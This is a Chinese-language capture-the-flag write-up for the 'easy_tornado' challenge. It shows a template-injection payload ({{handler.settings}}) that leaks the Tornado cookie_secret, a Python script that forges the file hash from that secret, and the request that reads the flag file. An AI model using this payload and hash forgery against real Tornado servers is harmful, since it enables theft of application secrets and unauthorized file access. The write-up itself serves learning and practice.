一、Tornado是什么?
Tornado是一种 Web 服务器软件的开源版本。Tornado 和主流Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。 得利于其非阻塞的方式和对epoll的运用,Tornado 每秒可以处理数以千计的连接,因此 Tornado 是实时 Web 服务的一个 理想框架。
二、easy_tornado 1
1、 判断发现是模板注入

2、获取cookie_secret
由于handler指向的处理当前这个页面的RequestHandler对象,RequestHandler.settings指向self.application.settings,因此handler.settings指向RequestHandler.application.settings。构造payload获取cookie_secret
/error?msg={{handler.settings}}

3、使用python构造参数
 
import hashlib
text = "/fllllllllllllag"
h1=hashlib.md5()
h1.update(text.encode(encoding='utf8'))
md5=h1.hexdigest()
print("加密结果:"+str(md5))
cookie_secret = "a14501b7-a97e-42c7-8cec-5d5fa1a9f74b"
text1 = str(cookie_secret) + str(md5)
print("加密结果:"+text1)
h3 = hashlib.md5()
h3.update(text1.encode(encoding='utf8'))
md6 = h3.hexdigest()
print("加密结果:"+str(md6))

4、得到flag
根据题目的提示,我们尝试/file?filename=/fllllllllllllag&filehash=3babc8d6a13f4aed1b9d64afe9c2e21c
 本文借鉴https://blog.csdn.net/qin9800/article/details/105349089,如有冒犯或错误,请及时告知。谢谢!
|